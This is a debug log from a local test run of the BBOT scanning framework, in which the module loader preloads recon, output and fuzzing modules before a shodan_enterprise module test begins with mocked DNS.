modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 17:59:09,088 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 17:59:09,089 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-02-27 17:59:09,090 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-02-27 17:59:09,092 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-02-27 17:59:09,101 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-02-27 17:59:09,103 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-02-27 17:59:09,104 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-02-27 17:59:09,107 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 17:59:09,108 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-02-27 17:59:09,110 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 17:59:09,111 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 17:59:09,112 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 17:59:09,142 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 17:59:09,145 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 17:59:09,149 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 17:59:09,152 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 17:59:09,154 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 17:59:09,156 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 17:59:09,158 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 17:59:09,160 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 17:59:09,161 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 17:59:09,162 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 17:59:09,170 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 17:59:09,173 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 17:59:09,174 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 17:59:09,176 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 17:59:09,178 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 17:59:09,180 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 17:59:09,181 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 17:59:09,184 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 18:00:48,429 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:00:48,440 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 18:00:48,442 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 18:00:48,444 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 18:00:48,447 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 18:00:48,450 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 18:00:48,452 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 18:00:48,453 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 18:00:48,455 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 18:00:48,457 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 18:00:48,458 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 18:00:48,460 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 18:00:48,466 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 18:00:48,469 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 18:00:48,470 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 18:00:48,472 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 18:00:48,474 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 18:00:48,476 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 18:00:48,478 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 18:00:48,480 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 18:01:32,887 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:01:32,896 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-02-27 18:01:32,899 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:01:32,900 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 18:01:32,902 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 18:01:32,903 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 18:01:32,906 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 18:01:32,908 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 18:01:32,909 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 18:01:32,910 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 18:01:32,912 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 18:01:32,913 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 18:01:32,914 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 18:01:32,915 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 18:01:32,920 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 18:01:32,921 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 18:01:32,922 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 18:01:32,924 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 18:01:32,925 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 18:01:32,926 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 18:01:32,927 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 18:01:32,929 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 18:03:42,209 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:03:42,217 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 18:03:42,219 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 18:03:42,220 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 18:03:42,223 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 18:03:42,225 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 18:03:42,227 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 18:03:42,228 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 18:03:42,230 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 18:03:42,231 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 18:03:42,232 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 18:03:42,233 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 18:03:42,238 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 18:03:42,240 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 18:03:42,241 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 18:03:42,242 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 18:03:42,244 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 18:03:42,245 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 18:03:42,246 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 18:03:42,248 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 18:08:23,588 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:08:23,596 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-02-27 18:08:23,599 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-02-27 18:08:23,600 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:08:23,601 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-02-27 18:08:23,602 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-02-27 18:08:23,603 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-02-27 18:08:23,604 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-02-27 18:08:23,606 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-02-27 18:08:23,607 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-02-27 18:08:23,610 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-02-27 18:08:23,613 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-02-27 18:08:23,615 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-02-27 18:08:23,616 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-02-27 18:08:23,618 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-02-27 18:08:23,619 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-02-27 18:08:23,621 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-02-27 18:08:23,621 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-02-27 18:08:23,623 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-02-27 18:08:23,624 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-02-27 18:08:23,626 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-02-27 18:08:23,627 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-02-27 18:08:23,629 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-02-27 18:08:23,630 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-02-27 18:08:23,632 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-02-27 18:08:23,633 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:08:23,634 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:08:23,634 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:08:23,635 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:08:23,636 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:08:23,636 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:08:23,638 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:08:23,638 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:08:23,641 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:08:23,642 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:08:23,643 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:08:23,644 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:08:23,645 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:08:23,646 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:08:23,647 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:08:23,647 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:08:23,648 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:08:23,648 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:08:23,649 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-02-27 18:08:23,650 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-02-27 18:08:23,651 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-02-27 18:08:23,660 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-02-27 18:08:23,662 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-02-27 18:08:23,664 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-02-27 18:08:23,667 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:08:23,668 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:08:23,669 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-02-27 18:08:23,672 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:08:23,672 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 18:08:23,674 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 18:08:23,675 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 18:08:23,677 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 18:08:23,679 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 18:08:23,680 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 18:08:23,681 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 18:08:23,683 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 18:08:23,684 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 18:08:23,685 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 18:08:23,686 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 18:08:23,691 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 18:08:23,692 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 18:08:23,693 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 18:08:23,695 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 18:08:23,696 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 18:08:23,697 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 18:08:23,698 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 18:08:23,700 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 18:08:23,702 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk -2026-02-27 18:08:23,703 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk -2026-02-27 18:08:23,704 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk -2026-02-27 18:08:23,706 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk -2026-02-27 18:08:23,707 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk -2026-02-27 18:08:23,710 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk -2026-02-27 18:08:23,711 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk -2026-02-27 18:08:23,712 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk -2026-02-27 18:08:23,714 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk -2026-02-27 18:08:23,715 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk -2026-02-27 18:08:23,716 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk -2026-02-27 18:08:23,717 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk -2026-02-27 18:08:23,720 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk -2026-02-27 18:08:23,721 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk -2026-02-27 18:08:23,723 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk -2026-02-27 18:08:23,724 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk -2026-02-27 18:08:23,725 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk -2026-02-27 18:08:23,728 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk -2026-02-27 18:08:23,762 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk -2026-02-27 18:08:23,764 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk -2026-02-27 18:08:23,767 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk -2026-02-27 18:08:23,769 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk -2026-02-27 18:08:23,771 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk -2026-02-27 18:08:23,775 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk -2026-02-27 18:08:23,776 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk -2026-02-27 18:08:23,778 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk -2026-02-27 18:08:23,779 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk -2026-02-27 18:08:23,781 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk -2026-02-27 18:08:23,786 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk -2026-02-27 18:08:23,789 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk -2026-02-27 18:08:23,791 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk -2026-02-27 18:08:23,792 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk -2026-02-27 18:08:23,795 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk -2026-02-27 18:08:23,798 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk -2026-02-27 18:08:23,800 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk -2026-02-27 18:08:23,801 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk -2026-02-27 18:08:23,802 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk -2026-02-27 18:08:23,803 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk -2026-02-27 18:08:23,805 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk -2026-02-27 18:08:23,806 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk -2026-02-27 18:08:23,808 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk -2026-02-27 18:08:23,809 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk -2026-02-27 18:08:23,813 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk -2026-02-27 18:08:23,815 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk -2026-02-27 18:08:23,816 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk -2026-02-27 18:08:23,821 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk -2026-02-27 18:08:23,822 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk -2026-02-27 18:08:23,824 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk -2026-02-27 18:08:23,826 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk -2026-02-27 18:08:23,827 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk -2026-02-27 18:08:23,828 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk -2026-02-27 18:08:23,829 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk -2026-02-27 18:08:23,830 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk -2026-02-27 18:08:23,831 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk -2026-02-27 18:08:23,833 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk -2026-02-27 18:08:23,834 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk -2026-02-27 18:08:23,835 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk -2026-02-27 18:08:23,836 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk -2026-02-27 18:08:23,838 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk -2026-02-27 18:08:23,839 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk -2026-02-27 18:08:23,841 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk -2026-02-27 18:08:23,842 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk -2026-02-27 18:08:23,843 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk -2026-02-27 18:08:23,844 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk -2026-02-27 18:08:23,846 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk -2026-02-27 18:08:23,848 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk -2026-02-27 18:08:23,849 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk -2026-02-27 18:08:23,850 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk -2026-02-27 18:08:23,851 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk -2026-02-27 18:08:23,852 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk -2026-02-27 18:08:23,853 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk -2026-02-27 18:08:23,857 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk -2026-02-27 18:08:23,858 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk -2026-02-27 18:08:23,859 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk -2026-02-27 18:08:23,862 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk -2026-02-27 18:08:23,863 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk -2026-02-27 18:08:23,864 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk -2026-02-27 18:08:23,866 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk -2026-02-27 18:08:23,867 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk -2026-02-27 18:08:23,869 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk -2026-02-27 18:08:23,872 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk -2026-02-27 18:08:23,874 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk -2026-02-27 18:08:23,875 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk -2026-02-27 18:08:23,876 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk -2026-02-27 18:08:23,878 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk -2026-02-27 18:08:23,881 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk -2026-02-27 18:08:23,883 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk -2026-02-27 18:08:23,884 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk -2026-02-27 18:08:23,886 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk -2026-02-27 18:08:23,888 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk -2026-02-27 18:08:23,889 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk -2026-02-27 18:08:23,890 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk -2026-02-27 18:08:23,891 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk -2026-02-27 18:08:23,893 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk -2026-02-27 18:08:23,896 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk -2026-02-27 18:08:23,897 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk -2026-02-27 18:08:23,898 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:08:23,898 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-02-27 18:08:28,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:08:28,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:08:28,608 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:08:28,743 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:08:29,391 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:08:29,392 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:08:29,603 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:08:29,604 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:08:29,720 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:08:30,113 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:08:30,115 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:09:15,415 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:09:15,424 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:09:15,425 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:09:15,425 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:09:15,427 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:09:15,427 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:09:15,428 [DEBUG] bbot.module_loader modules.py:141 